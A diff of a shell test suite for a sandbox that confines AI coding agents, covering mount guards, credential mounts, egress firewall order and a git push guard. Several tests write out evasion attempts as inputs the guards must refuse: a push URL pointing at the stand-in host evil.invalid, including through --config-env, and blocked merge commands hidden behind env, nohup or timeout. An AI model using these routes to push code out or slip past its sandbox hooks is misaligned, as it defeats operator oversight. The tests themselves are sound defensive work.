|
||||
set -Eeuo pipefail
|
||||
src="'"$SANDBOX_DIR"'/../bin"
|
||||
eval "$(sed -n "/^_paths_overlap()/,/^}/p" "$src/dejima-harness-lib.sh")"
|
||||
eval "$(sed -n "/^_refuse_rw_over_harness_host_config()/,/^}/p" "$src/dejima")"
|
||||
# Captured first, under a name the function does not declare local:
|
||||
# inside it, $2 is the function'"'"'s own argument, and `guarded` is one
|
||||
# of its locals - which under set -u is unset rather than ours.
|
||||
t_guarded="$2"
|
||||
_harness_host_config() { HARNESS_HOST_CONFIG+=("$t_guarded"); }
|
||||
RW_MOUNT_PATHS=("$1")
|
||||
_refuse_rw_over_harness_host_config
|
||||
echo ALLOWED' _ /tmp/dejima-t-rw /tmp/dejima-t-elsewhere/config.json
|
||||
[ "$status" -eq 0 ] && [ "$output" = ALLOWED ] \
|
||||
|| { echo "an unrelated writable mount was refused: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "every store dejima refuses to mount is one it warns about inside the workspace" {
|
||||
# Two lists that have to say the same thing. GUARDED_STORES is what a
|
||||
# [mounts] entry or --ro/--rw is refused for naming;
|
||||
# warn_if_inside_workspace is what an operator hears when the same path is
|
||||
# inside the project being mounted instead. The workspace mount itself is
|
||||
# not refused - that is a deliberate decision with its own tests - so the
|
||||
# warning is the whole of what a session's own project gets.
|
||||
#
|
||||
# They drifted: three stores were warned about and six were guarded, so a
|
||||
# path dejima would not mount through one route was mounted silently
|
||||
# through the widest one.
|
||||
#
|
||||
# Checked by name in both directions rather than against a list kept here,
|
||||
# which would need the same updating the code does.
|
||||
local src="$REPO_ROOT/bin/dejima" flat guarded warned missing="" n
|
||||
flat="$(sed -z 's/\\\n[[:space:]]*/ /g' "$src")"
|
||||
guarded="$(sed -n 's/^[[:space:]]*GUARDED_STORES=(\(.*\))[[:space:]]*$/\1/p' <<< "$flat" \
|
||||
| grep . | head -1)"
|
||||
[ -n "$guarded" ] || { echo "GUARDED_STORES could not be read"; return 1; }
|
||||
warned="$(grep '^warn_if_inside_workspace ' <<< "$flat")"
|
||||
n="$(grep -c '^warn_if_inside_workspace ' <<< "$flat")"
|
||||
[ "$n" -ge 6 ] || { echo "only $n stores are warned about"; return 1; }
|
||||
|
||||
# Every name the guarded list resolves a store through has to appear in a
|
||||
# warning. Names rather than whole expressions, because two of the
|
||||
# entries nest a command substitution inside another and no single
|
||||
# tokenising of that is worth trusting.
|
||||
local name
|
||||
while IFS= read -r name; do
|
||||
[ -n "$name" ] || continue
|
||||
grep -qF -- "$name" <<< "$warned" \
|
||||
|| missing="$missing $name"
|
||||
done < <(grep -oE '\$\(([a-z_]+)|\$([A-Z_]+)' <<< "$guarded" \
|
||||
| sed 's/^\$(\?//' | sort -u)
|
||||
[ -z "$missing" ] \
|
||||
|| { echo "guarded but never warned about:$missing"; return 1; }
|
||||
|
||||
# And the other direction: a warning for something the mount guard does
|
||||
# not cover would be the two lists disagreeing the other way.
|
||||
while IFS= read -r name; do
|
||||
[ -n "$name" ] || continue
|
||||
grep -qF -- "$name" <<< "$guarded" \
|
||||
|| missing="$missing $name"
|
||||
done < <(sed -n 's/^warn_if_inside_workspace "[^"]*"[[:space:]]*"\?\$(\?\([A-Za-z_]*\).*/\1/p' <<< "$flat" \
|
||||
| grep . | sort -u)
|
||||
[ -z "$missing" ] \
|
||||
|| { echo "warned about but not guarded:$missing"; return 1; }
|
||||
}
|
||||
|
||||
@test "the compose file's volumes can each be replaced for one launch" {
|
||||
local compose="$SANDBOX_DIR/docker-compose.yml"
|
||||
# The working directory is the one entry with no usable default: an
|
||||
# isolated launch must mount no host path there, and a compose list entry
|
||||
# cannot be empty. So bin/dejima always supplies the whole spec, and the
|
||||
# file fails loudly rather than mounting something unintended.
|
||||
grep -q '\${SANDBOX_WORKSPACE_MOUNT:?' "$compose" \
|
||||
|| { echo "the workspace mount is not a single required variable"; return 1; }
|
||||
grep -qE '^\s*-\s*\$\{WORKSPACE_DIR[:?]' "$compose" \
|
||||
&& { echo "the workspace is still mounted from WORKSPACE_DIR directly"; return 1; }
|
||||
|
||||
# Every volume that outlives a container is named through a variable, so a
|
||||
# launch can be given its own - and every default has to be the name
|
||||
# Docker would have chosen without one, or a release silently swaps a
|
||||
# volume for a fresh empty one and orphans what was in it.
|
||||
#
|
||||
# That name is `<compose project>_<key>`, so the check derives it from the
|
||||
# file rather than listing the four. A default that merely looks right -
|
||||
# the key alone, which is most of it - is the mistake this is here for,
|
||||
# and it is one a list of expected strings would have been updated to
|
||||
# match.
|
||||
local project
|
||||
project="$(sed -nE 's/^name:[[:space:]]*([a-z0-9_-]+)[[:space:]]*$/\1/p' "$compose")"
|
||||
[ -n "$project" ] || { echo "the compose file sets no project name"; return 1; }
|
||||
|
||||
local checked=0 key default
|
||||
while IFS=$'\t' read -r key default; do
|
||||
checked=$((checked + 1))
|
||||
[ "$default" = "${project}_${key}" ] \
|
||||
|| { echo "volume $key defaults to '$default', not '${project}_${key}'"
|
||||
echo "- so a launch that sets nothing gets a different volume"
|
||||
return 1; }
|
||||
done < <(awk '
|
||||
/^volumes:/ { in_block = 1; next }
|
||||
in_block && /^[^[:space:]]/ { in_block = 0 }
|
||||
in_block && /^ [a-z0-9_-]+:[[:space:]]*$/ {
|
||||
key = $1; sub(/:$/, "", key); next
|
||||
}
|
||||
in_block && /^ name:/ && key != "" {
|
||||
# name: ${VAR:-default}
|
||||
if (match($0, /:-[^}]+\}/)) {
|
||||
d = substr($0, RSTART + 2, RLENGTH - 3)
|
||||
print key "\t" d
|
||||
}
|
||||
key = ""
|
||||
}
|
||||
' "$compose")
|
||||
|
||||
# A loop over nothing passes. Four volumes today, and a fifth would have
|
||||
# to be read by this rather than bypass it.
|
||||
[ "$checked" -ge 4 ] \
|
||||
|| { echo "only $checked volume default(s) were checked"; return 1; }
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "the worktree-pr workflow tells the agent to close issues via the PR body" {
|
||||
# The session ends at the PR and the merge happens later, without the
|
||||
# agent - so anything it defers to "after the merge" is something it
|
||||
@@ -4356,6 +4716,20 @@ _guard_repo() {
|
||||
run _git_guard "$repo" -c remote.origin.pushurl=git@evil.invalid:o/r.git push origin feature
|
||||
[[ "$output" == *"may only push to"* ]] \
|
||||
|| { echo "$output"; return 1; }
|
||||
|
||||
# --config-env is the same thing with the value read from the environment,
|
||||
# in both spellings. The separated one also takes the next word, so an
|
||||
# option this did not know would have left `remote.origin.pushurl=PUSHURL`
|
||||
# to be read as the subcommand - and anything that is not `push` is a
|
||||
# command the guard has nothing to say about.
|
||||
PUSHURL=git@evil.invalid:o/r.git run _git_guard "$repo" \
|
||||
--config-env remote.origin.pushurl=PUSHURL push origin feature
|
||||
[[ "$output" == *"may only push to"* ]] \
|
||||
|| { echo "separated --config-env: $output"; return 1; }
|
||||
PUSHURL=git@evil.invalid:o/r.git run _git_guard "$repo" \
|
||||
--config-env=remote.origin.pushurl=PUSHURL push origin feature
|
||||
[[ "$output" == *"may only push to"* ]] \
|
||||
|| { echo "attached --config-env: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "the hook sees a push however git's own options are spelled" {
|
||||
@@ -4369,6 +4743,7 @@ _guard_repo() {
|
||||
for cmd in "git --no-pager push origin main" \
|
||||
"git -c core.pager=cat push origin main" \
|
||||
"git --git-dir=$repo/.git push origin main" \
|
||||
"git --config-env http.extraHeader=HDR push origin main" \
|
||||
"ls && git push origin main" \
|
||||
"/usr/bin/git push origin main" \
|
||||
"/opt/elsewhere/git push origin main"; do
|
||||
@@ -4675,8 +5050,11 @@ _repo_guard_shim() {
|
||||
DEJIMA_FORGE_REPO=own/thing
|
||||
DEJIMA_FORGE_REPO_PATHS="api:repos")
|
||||
local form
|
||||
# The last one carries a brace, which is only an exemption for {owner} and
|
||||
# {repo}: another repository's path is still that path with a placeholder
|
||||
# in the query string.
|
||||
for form in "repos/other/thing/issues" "/repos/other/thing/issues" \
|
||||
"repos/other/thing"; do
|
||||
"repos/other/thing" "repos/other/thing/issues?per_page={n}"; do
|
||||
run env "${env_common[@]}" "$d/gh" api "$form"
|
||||
assert_forge_refused "Blocked by dejima" "gh api $form" || return 1
|
||||
done
|
||||
@@ -4686,7 +5064,12 @@ _repo_guard_shim() {
|
||||
# reached every endpoint the token did, with a write among them (#365).
|
||||
# Under the declared subcommand the question is inverted: a target this can
|
||||
# read has to be present.
|
||||
for form in "user/repos" "/orgs/someone/repos" "-X POST /user/repos" "rate_limit"; do
|
||||
# The brace exemption below is for {owner}/{repo} in an endpoint. A brace
|
||||
# anywhere else - a field value, a --template - says nothing about which
|
||||
# repository the call reaches, so it must not stand in for a target.
|
||||
for form in "user/repos" "/orgs/someone/repos" "-X POST /user/repos" "rate_limit" \
|
||||
"user/repos -f x={y}" "-X POST /orgs/someone/repos -f name={x}" \
|
||||
"user --template {{.login}}"; do
|
||||
# shellcheck disable=SC2086
|
||||
run env "${env_common[@]}" "$d/gh" api $form
|
||||
assert_forge_refused "names no endpoint under" "gh api $form" || return 1
|
||||
@@ -5164,8 +5547,15 @@ comment forge-cli issue comment"
|
||||
# Blocked in the sandbox, including path-qualified - /usr/local/bin is
|
||||
# where the image puts it, so a bare-name-only pattern would miss the
|
||||
# form an agent reaching past PATH would type.
|
||||
#
|
||||
# Including behind a prefix word. An absolute path to the real CLI steps
|
||||
# over the PATH shadow, so if the hook only read the segment's first word
|
||||
# that combination would have no layer looking at it.
|
||||
local cmd
|
||||
for cmd in 'gitea-pr merge 24' '/usr/local/bin/gitea-pr merge 24' 'cd /tmp && gitea-pr merge 24'; do
|
||||
for cmd in 'gitea-pr merge 24' '/usr/local/bin/gitea-pr merge 24' 'cd /tmp && gitea-pr merge 24' \
|
||||
'env /usr/local/lib/dejima/forge/gitea-pr merge 24' \
|
||||
'nohup /usr/local/lib/dejima/forge/gitea-pr merge 24' \
|
||||
'timeout 5 /usr/local/lib/dejima/forge/gitea-pr merge 24'; do
|
||||
payload=$(jq -n --arg c "$cmd" '{tool_input: {command: $c}}')
|
||||
run bash -c "printf '%s' \"\$1\" | DEJIMA=1 DEJIMA_MERGE_BLOCK='gitea-pr merge' bash '$hook'" _ "$payload"
|
||||
[ "$status" -eq 2 ]
|
||||
@@ -5481,19 +5871,54 @@ registered_commands() {
|
||||
|| { echo "the reachability check is not retried"; return 1; }
|
||||
|
||||
# The negatives: not.
|
||||
local line
|
||||
local line seen=0
|
||||
while IFS= read -r line; do
|
||||
seen=$((seen + 1))
|
||||
case "$line" in
|
||||
*retry_positive*) echo "a negative control is retried: $line"; return 1 ;;
|
||||
esac
|
||||
done < <(grep -E 'verify_refused|verify_port_refused|verify_ipv6_refused|PROBE_NAME\)' <<< "$v")
|
||||
# Counted, because a loop over nothing passes: renaming those helpers would
|
||||
# leave this asserting that none of zero lines retries.
|
||||
[ "$seen" -ge 3 ] \
|
||||
|| { echo "found $seen negative controls in verify(), so this checked almost nothing"; return 1; }
|
||||
|
||||
# And the lookup has to report emptiness, or retrying it is a no-op: it
|
||||
# returns 0 whether or not it found an address otherwise.
|
||||
local r
|
||||
r=$(sed -n '/^resolve_one()/,/^}/p' "$p")
|
||||
[ "$(grep -c 'return 1' <<< "$r")" -ge 1 ] \
|
||||
|| { echo "resolve_one cannot signal 'no address', so retrying it does nothing"; return 1; }
|
||||
# And the lookup has to report BOTH ways of having no address, or retrying
|
||||
# it is a no-op for one of them. Driven rather than grepped: `return 1`
|
||||
# appears in that function for the empty-answer case, so its presence was
|
||||
# satisfied while a failing dig still returned 0 (#345).
|
||||
local case_name
|
||||
for case_name in failed empty; do
|
||||
run bash -c '
|
||||
set -u
|
||||
d="$2/digstub"; mkdir -p "$d"
|
||||
if [ "$3" = failed ]; then
|
||||
printf "#!/bin/bash\nexit 9\n" > "$d/dig"
|
||||
else
|
||||
printf "#!/bin/bash\nexit 0\n" > "$d/dig"
|
||||
fi
|
||||
chmod +x "$d/dig"
|
||||
PATH="$d:$PATH"
|
||||
eval "$(sed -n "/^resolve_one()/,/^}/p" "$1")"
|
||||
resolve_one some.example
|
||||
' _ "$p" "$BATS_TEST_TMPDIR" "$case_name"
|
||||
[ "$status" -ne 0 ] \
|
||||
|| { echo "resolve_one reported success for a $case_name lookup, so retrying it does nothing"; return 1; }
|
||||
done
|
||||
|
||||
# And it still succeeds when there IS an address, or the retry would spin
|
||||
# on every name and the boot would fail on all of them.
|
||||
run bash -c '
|
||||
set -u
|
||||
d="$2/digok"; mkdir -p "$d"
|
||||
printf "#!/bin/bash\necho 192.0.2.7\n" > "$d/dig"
|
||||
chmod +x "$d/dig"
|
||||
PATH="$d:$PATH"
|
||||
eval "$(sed -n "/^resolve_one()/,/^}/p" "$1")"
|
||||
resolve_one some.example
|
||||
' _ "$p" "$BATS_TEST_TMPDIR"
|
||||
[ "$status" -eq 0 ] || { echo "resolve_one failed on a good answer: $output"; return 1; }
|
||||
[ "$output" = 192.0.2.7 ] || { echo "resolve_one did not print the address: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "a retried check reports the status the command actually returned" {
|
||||
@@ -5949,11 +6374,26 @@ registered_commands() {
|
||||
# proxy-disabled branch.
|
||||
run grep -c 'extra_mounts+=(-v "\$HOME/\.claude/\.credentials\.json:\$HOME/\.claude/\.credentials\.json")' "$REPO_ROOT/bin/dejima"
|
||||
[ "$output" = "1" ]
|
||||
local mount_line branch_line
|
||||
mount_line=$(grep -n 'extra_mounts+=(-v "\$HOME/\.claude/\.credentials\.json' "$REPO_ROOT/bin/dejima" | cut -d: -f1)
|
||||
branch_line=$(grep -n 'elif \[ -f "\$HOME/\.claude/\.credentials\.json" \]; then' "$REPO_ROOT/bin/dejima" | cut -d: -f1)
|
||||
[ -n "$branch_line" ]
|
||||
[ "$branch_line" -lt "$mount_line" ]
|
||||
# And the branch it sits under names every condition that makes this the
|
||||
# documented downgrade rather than a credential handed to a session with
|
||||
# no use for it. It was `elif [ -f <that file> ]`, which fired for
|
||||
# anything the proxy branch did not take - including a backend needing no
|
||||
# credential at all, the arrangement docs/security.md calls the one with
|
||||
# nothing in the container to steal.
|
||||
local flat branch
|
||||
flat="$(sed -z 's/\\\n[[:space:]]*/ /g' "$REPO_ROOT/bin/dejima")"
|
||||
branch="$(grep -E '^elif .*credentials\.json' <<< "$flat")"
|
||||
[ -n "$branch" ] || { echo "the mount is not under an elif that tests it"; return 1; }
|
||||
local need
|
||||
for need in '! backend_proxy_enabled' 'DEJIMA_BACKEND_CREDENTIAL_KIND" != none' \
|
||||
'DEJIMA_BACKEND_CREDENTIAL_FILE' '-n "$DEJIMA_BACKEND_NAME"'; do
|
||||
grep -qF -- "$need" <<< "$branch" \
|
||||
|| { echo "the credential mount's branch does not test: $need"; return 1; }
|
||||
done
|
||||
# The file comparison is what makes it THIS backend's credential rather
|
||||
# than any backend with the proxy off.
|
||||
grep -qF -- 'readlink -m "$DEJIMA_BACKEND_CREDENTIAL_FILE"' <<< "$branch" \
|
||||
|| { echo "the branch does not compare the backend's own credential file"; return 1; }
|
||||
}
|
||||
|
||||
@test "the container gets an empty credentials file of its own" {
|
||||
@@ -9436,7 +9876,8 @@ _emit_mount_at() {
|
||||
# And the other direction for the shared libraries, which are the entries
|
||||
# most easily forgotten because nothing puts them on PATH.
|
||||
for f in bin/dejima-config-lib.sh bin/dejima-color-lib.sh bin/dejima-provider-lib.sh \
|
||||
bin/dejima-harness-lib.sh bin/dejima-tui-lib.sh docker/install-forge-bins.sh; do
|
||||
bin/dejima-harness-lib.sh bin/dejima-tui-lib.sh bin/dejima-version-lib.sh \
|
||||
docker/install-forge-bins.sh; do
|
||||
grep -q "\`$f\`" "$doc" || { echo "$f is shipped but not in the file list"; return 1; }
|
||||
done
|
||||
}
|
||||
@@ -9963,9 +10404,156 @@ _plain_output() { printf '%s' "$output" | sed 's/\x1b\[[0-9;]*m//g'; }
|
||||
[[ "$(_plain_output)" == *"harness claude-code"* ]] \
|
||||
&& [[ "$(_plain_output)" == *"workflow local-only"* ]] \
|
||||
|| { echo "the banner names no values: $output"; return 1; }
|
||||
# The release, beside the wordmark. "which version am I running" is a
|
||||
# question an operator should not have to go and ask, and this is where
|
||||
# they are already looking. A checkout with no release tag says so rather
|
||||
# than saying nothing, which would read as a banner that lost a field.
|
||||
# Any of the three states the version library defines, because which one
|
||||
# it is depends on the tree this suite is run from - a clone with tags, a
|
||||
# clone without, or an unpacked tree with no .git at all. A test that
|
||||
# accepted only one of them would be asserting something about the
|
||||
# checkout rather than about the banner.
|
||||
[[ "$(_plain_output)" =~ (unreleased|unknown|[0-9]{4}\.[0-9]{2}\.[0-9]{2}) ]] \
|
||||
|| { echo "the banner does not name the release: $output"; return 1; }
|
||||
rm -rf "$DEJIMA_T"
|
||||
}
|
||||
|
||||
@test "the update notice names the release and where to read what changed" {
|
||||
# A commit count answers "is there something newer" and nothing else. An
|
||||
# operator deciding whether to update wants to know how far behind they
|
||||
# are and what they would be getting, which is the whole reason for
|
||||
# having releases at all - so the notice names both sides and the
|
||||
# changelog, rather than leaving the file to be discovered.
|
||||
local u="$REPO_ROOT/bin/dejima-update-check"
|
||||
grep -q 'CHANGELOG.md' "$u" \
|
||||
|| { echo "the update notice does not name the changelog"; return 1; }
|
||||
grep -q 'dejima_version "$REPO_ROOT"' "$u" \
|
||||
|| { echo "the notice does not say which release this checkout is on"; return 1; }
|
||||
# Only release-shaped tags, so a tag pushed for anything else cannot
|
||||
# become the answer to "what is the newest release".
|
||||
grep -qF "ls-remote --tags --refs" "$u" \
|
||||
|| { echo "the remote's releases are not read from its tags"; return 1; }
|
||||
# Through the same hardened invocation as the branch tip: the checkout's
|
||||
# own git config must not name a command this runs, which is the whole
|
||||
# argument at the top of that file.
|
||||
local n
|
||||
n="$(grep -c 'protocol.allow=never' "$u")"
|
||||
[ "$n" = 2 ] \
|
||||
|| { echo "$n of the two remote lookups pin the allowed protocols"; return 1; }
|
||||
# And the tags are asked for only when there is something to report, so an
|
||||
# up-to-date checkout pays one request rather than two.
|
||||
local flat
|
||||
flat="$(sed -z 's/\\\n[[:space:]]*/ /g' "$u")"
|
||||
grep -q 'if \[ -n "$tip" \] && \[ "$tip" != "$head_sha" \]; then' <<< "$flat" \
|
||||
|| { echo "the tag lookup is not conditional on there being news"; return 1; }
|
||||
}
|
||||
|
||||
@test "the changelog says no release is supported, and has somewhere to write the next" {
|
||||
# The risk a changelog introduces is the expectation that comes with it:
|
||||
# a list of releases reads as a list of things one may be running, and
|
||||
# SECURITY.md says the tip of main is the only supported version. So the
|
||||
# file has to say so itself, where someone picking a version would be
|
||||
# looking.
|
||||
local c="$REPO_ROOT/CHANGELOG.md"
|
||||
[ -f "$c" ] || { echo "there is no changelog"; return 1; }
|
||||
grep -qi 'tip of .main. is the only supported' "$c" \
|
||||
|| { echo "the changelog does not say which version is supported"; return 1; }
|
||||
grep -q 'SECURITY.md' "$c" \
|
||||
|| { echo "the changelog does not point at the binding statement"; return 1; }
|
||||
# Deliberately no sweep for words like "backport" or "maintenance
|
||||
# branch". The first version of this test had one, and it failed on the
|
||||
# changelog's own sentence saying there are no backports - a pattern
|
||||
# cannot tell a promise from its denial, and a test that matches the shape
|
||||
# of prose rather than its claim is one that gets edited until it passes.
|
||||
# The two assertions above are the claim; a reader is the only check on
|
||||
# the rest.
|
||||
|
||||
# Somewhere for the next release's entry to go before its date is known.
|
||||
# Without it an entry gets written under a guessed date, and the date is
|
||||
# the version.
|
||||
grep -q '^## Unreleased$' "$c" \
|
||||
|| { echo "the changelog has no Unreleased heading to write into"; return 1; }
|
||||
# And at least one real release, named as a date, so the scheme is in the
|
||||
# file rather than only in the process document.
|
||||
grep -qE '^## [0-9]{4}\.[0-9]{2}\.[0-9]{2}$' "$c" \
|
||||
|| { echo "the changelog names no release as a date"; return 1; }
|
||||
# The release process has to name both steps, because nothing fails when
|
||||
# they are forgotten: the tag is the version, and the heading is the entry.
|
||||
grep -q 'git tag' "$REPO_ROOT/docs/release.md" \
|
||||
|| { echo "docs/release.md does not say to tag the release"; return 1; }
|
||||
grep -q 'Unreleased' "$REPO_ROOT/docs/release.md" \
|
||||
|| { echo "docs/release.md does not say to rename the heading"; return 1; }
|
||||
}
|
||||
|
||||
@test "dejima --version says which release this is, and what is not supported" {
|
||||
# Answerable without a config, like --help: the moment someone asks which
|
||||
# release they are on is often the moment something else is wrong.
|
||||
run env DEJIMA_CONFIG_DIR=/nonexistent "$REPO_ROOT/bin/dejima" --version
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[[ "$output" == dejima\ * ]] \
|
||||
|| { echo "--version does not name the program: $output"; return 1; }
|
||||
# One of the three states, for the reason the banner test gives: which it
|
||||
# is depends on the tree this runs from, and it has to say which rather
|
||||
# than printing nothing.
|
||||
[[ "$output" =~ (unreleased|unknown|[0-9]{4}\.[0-9]{2}\.[0-9]{2}) ]] \
|
||||
|| { echo "--version names no release: $output"; return 1; }
|
||||
# The two things an operator reading this needs next.
|
||||
[[ "$output" == *CHANGELOG.md* ]] \
|
||||
|| { echo "--version does not say where the changes are: $output"; return 1; }
|
||||
[[ "$output" == *"tip of main"* ]] \
|
||||
|| { echo "--version does not say what is supported: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "the release a checkout is on is read from git, not from a file in the tree" {
|
||||
# A VERSION file says what was released and goes on saying it while a
|
||||
# checkout is pulled past that release - and the one moment the answer
|
||||
# matters is the moment it would be wrong. So there is no such file, and
|
||||
# the library asks git.
|
||||
[ ! -e "$REPO_ROOT/VERSION" ] \
|
||||
|| { echo "a VERSION file is back, and it can disagree with the tags"; return 1; }
|
||||
grep -q 'describe --tags' "$REPO_ROOT/bin/dejima-version-lib.sh" \
|
||||
|| { echo "the version library does not read the tags"; return 1; }
|
||||
|
||||
# Driven over every state a checkout can be in, in a throwaway repository:
|
||||
# the answers are what --version, the banner and the update notice all
|
||||
# print, and "unreleased" versus a date versus a date+N are three
|
||||
# different things to tell an operator.
|
||||
local t; t="$(mktemp -d)"
|
||||
git -C "$t" init -q .
|
||||
git -C "$t" config user.email t@example.invalid
|
||||
git -C "$t" config user.name t
|
||||
_ver() {
|
||||
run bash -c 'source "$1"; dejima_version "$2"' _ \
|
||||
"$REPO_ROOT/bin/dejima-version-lib.sh" "$t"
|
||||
}
|
||||
_ver; [ "$output" = unreleased ] \
|
||||
|| { echo "an untagged checkout reports '$output'"; rm -rf "$t"; return 1; }
|
||||
echo one > "$t/a"; git -C "$t" add a; git -C "$t" commit -qm one
|
||||
git -C "$t" tag 2026.10.12
|
||||
_ver; [ "$output" = 2026.10.12 ] \
|
||||
|| { echo "on the tag it reports '$output'"; rm -rf "$t"; return 1; }
|
||||
echo two > "$t/b"; git -C "$t" add b; git -C "$t" commit -qm two
|
||||
_ver; [ "$output" = 2026.10.12+1 ] \
|
||||
|| { echo "one commit past the tag it reports '$output'"; rm -rf "$t"; return 1; }
|
||||
# A tag that is not a release must not become the answer.
|
||||
git -C "$t" tag some-marker
|
||||
_ver; [ "$output" = 2026.10.12+1 ] \
|
||||
|| { echo "a non-release tag became the version: '$output'"; rm -rf "$t"; return 1; }
|
||||
# And the release part of that, which is what two checkouts are compared on.
|
||||
run bash -c 'source "$1"; dejima_version_release "2026.10.12+1"' _ \
|
||||
"$REPO_ROOT/bin/dejima-version-lib.sh"
|
||||
[ "$output" = 2026.10.12 ] || { echo "the release part is '$output'"; rm -rf "$t"; return 1; }
|
||||
rm -rf "$t"
|
||||
|
||||
# No git at all, which is an unpacked tarball rather than a clone.
|
||||
local plain; plain="$(mktemp -d)"
|
||||
run bash -c 'source "$1"; dejima_version "$2"' _ \
|
||||
"$REPO_ROOT/bin/dejima-version-lib.sh" "$plain"
|
||||
[ "$output" = unknown ] || { echo "a non-checkout reports '$output'"; }
|
||||
rmdir "$plain"
|
||||
[ "$output" = unknown ]
|
||||
}
|
||||
|
||||
@test "the startup banner is off when the config says so" {
|
||||
# A banner is exactly the thing that gets in the way when you launch
|
||||
# dejima forty times in an afternoon, so it has a switch.
|
||||
@@ -10173,12 +10761,16 @@ _plain_output() { printf '%s' "$output" | sed 's/\x1b\[[0-9;]*m//g'; }
|
||||
}
|
||||
|
||||
# The providers.json cline is actually given, for one config. Prints it as JSON.
|
||||
#
|
||||
# Out of the staging directory, not the state directory: this file is written
|
||||
# per run and seeded into the container now, which is what lets an isolated
|
||||
# launch - one with no state mount at all - be configured.
|
||||
_cline_providers_json() {
|
||||
local cfg="$1" out
|
||||
_cline_prepare "$cfg" "$BATS_TEST_TMPDIR/ws" >/dev/null 2>&1 || return 1
|
||||
out="$(ls -d "$(sed -n 's/^state_dir *= *//p' "$cfg/config")"/*/settings 2>/dev/null | head -1)"
|
||||
out="$(find "$cfg/stage" -name providers.json -print -quit 2>/dev/null)"
|
||||
[ -n "$out" ] || return 1
|
||||
cat "$out/providers.json"
|
||||
cat "$out"
|
||||
}
|
||||
|
||||
@test "cline's provider type follows the provider's api_style, not a second setting" {
|
||||
@@ -10646,6 +11238,111 @@ _host_clamp() { # _host_clamp <EGRESS_HOST_PORTS value>
|
||||
[[ "$output" != *permit* ]]
|
||||
}
|
||||
|
||||
@test "the host entry's clamp is matched before the rules that would widen it" {
|
||||
# The clamp said the right thing and never saw the packets. The open
|
||||
# class permits on every port, and the host's own address lands in it by
|
||||
# several ordinary routes - a host-resident LOKI_URL, a self-served
|
||||
# model's base_url, `dejima-allow <gateway>` - so the permit answered
|
||||
# first and the host was open on every port, sshd and the remote-access
|
||||
# front door included.
|
||||
#
|
||||
# Asserted on the order the emitters are called in, which is what decides
|
||||
# it: nft takes the first match.
|
||||
local policy="$SANDBOX_DIR/egress-policy" host_at open_at forge_at
|
||||
host_at="$(grep -n '^ emit_host_clamp host_v4' "$policy" | cut -d: -f1)"
|
||||
open_at="$(grep -n 'ip daddr @literal_v4 goto permit' "$policy" | cut -d: -f1)"
|
||||
forge_at="$(grep -n '^ emit_forge_clamp ip forge_v4' "$policy" | cut -d: -f1)"
|
||||
[ -n "$host_at" ] && [ -n "$open_at" ] && [ -n "$forge_at" ] \
|
||||
|| { echo "the rule emitters could not be found"; return 1; }
|
||||
[ "$host_at" -lt "$open_at" ] \
|
||||
|| { echo "the open class permits the host's address before the clamp sees it"
|
||||
return 1; }
|
||||
# And still after the forge clamp, so a host-resident forge is read as a
|
||||
# forge rather than as the host.
|
||||
[ "$forge_at" -lt "$host_at" ] \
|
||||
|| { echo "the host clamp now answers for a host-resident forge"; return 1; }
|
||||
}
|
||||
|
||||
@test "the launcher offers host candidates and the filter decides which are the host" {
|
||||
# Split across the two processes because neither knows both halves. The
|
||||
# launcher knows which destinations this launch configured and cannot know
|
||||
# the host's address; the filter works that out from the default route.
|
||||
#
|
||||
# Comparing in the launcher against EGRESS_HOST_ADDR looked equivalent and
|
||||
# was not: that variable is the operator's override for a wrong
|
||||
# derivation, so it is normally unset, and nothing was ever derived - a
|
||||
# host-resident Loki at the gateway address stopped being reachable the
|
||||
# moment the clamp went first.
|
||||
local src="$REPO_ROOT/bin/dejima" flat
|
||||
flat="$(sed -z 's/\\\n[[:space:]]*/ /g' "$src")"
|
||||
grep -qF '_egress_host_candidate' <<< "$flat" \
|
||||
|| { echo "nothing offers a host candidate"; return 1; }
|
||||
grep -qF -- '-e EGRESS_HOST_CANDIDATES' <<< "$flat" \
|
||||
|| { echo "the candidates are not passed to the filter container"; return 1; }
|
||||
|
||||
# The launcher's half: a literal address with an explicit port, or
|
||||
# nothing. A wrong answer is either a port nobody opened on the host or a
|
||||
# service nobody can reach.
|
||||
_cand() {
|
||||
run bash -c '
|
||||
eval "$(sed -n "/^_egress_host_candidate()/,/^}/p" "'"$REPO_ROOT"'/bin/dejima")"
|
||||
printf "[%s]" "$(_egress_host_candidate "$1")"' _ "$1"
|
||||
}
|
||||
_cand "http://172.17.0.1:3100"
|
||||
[ "$output" = "[172.17.0.1:3100]" ] || { echo "the gateway candidate was not offered: $output"; return 1; }
|
||||
# Userinfo and a query do not become part of it: a password starting with
|
||||
# a digit, and a query with no path, each read as the port.
|
||||
_cand "http://u:9secret@172.17.0.1:3100/v1"
|
||||
[ "$output" = "[172.17.0.1:3100]" ] || { echo "userinfo reached the port: $output"; return 1; }
|
||||
_cand "http://172.17.0.1:3100?x=1"
|
||||
[ "$output" = "[172.17.0.1:3100]" ] || { echo "a query reached the port: $output"; return 1; }
|
||||
|
||||
local url
|
||||
while IFS= read -r url; do
|
||||
[ -n "$url" ] || continue
|
||||
_cand "$url"
|
||||
[ "$output" = "[]" ] || { echo "offered $output for $url"; return 1; }
|
||||
done <<CASES
|
||||
https://loki.example.com/loki/api/v1/push
|
||||
https://172.17.0.1/x
|
||||
http://loki.internal:3100
|
||||
http://172.17.0.1
|
||||
http://[fe80::1]/
|
||||
http://[fe80::1]:3100/
|
||||
CASES
|
||||
|
||||
# The filter's half: a candidate's port is kept only if its address is one
|
||||
# the host was discovered at.
|
||||
_fold() { # _fold <HOST_PORTS> <HOST_CANDIDATES> <addr>...
|
||||
local ports="$1" cands="$2"; shift 2
|
||||
run env HOST_PORTS_IN="$ports" HOST_CANDIDATES_IN="$cands" bash -c '
|
||||
set -Eeuo pipefail
|
||||
HOST_PORTS=$HOST_PORTS_IN
|
||||
HOST_CANDIDATES=$HOST_CANDIDATES_IN
|
||||
die() { printf "FAILED: %s\n" "$*" >&2; exit 1; }
|
||||
eval "$(sed -n "/^fold_host_candidates()/,/^}/p" "'"$SANDBOX_DIR"'/egress-policy")"
|
||||
fold_host_candidates "$@"
|
||||
printf "[%s]" "$HOST_PORTS"' _ "$@"
|
||||
}
|
||||
_fold "" "172.17.0.1:3100" 172.17.0.1
|
||||
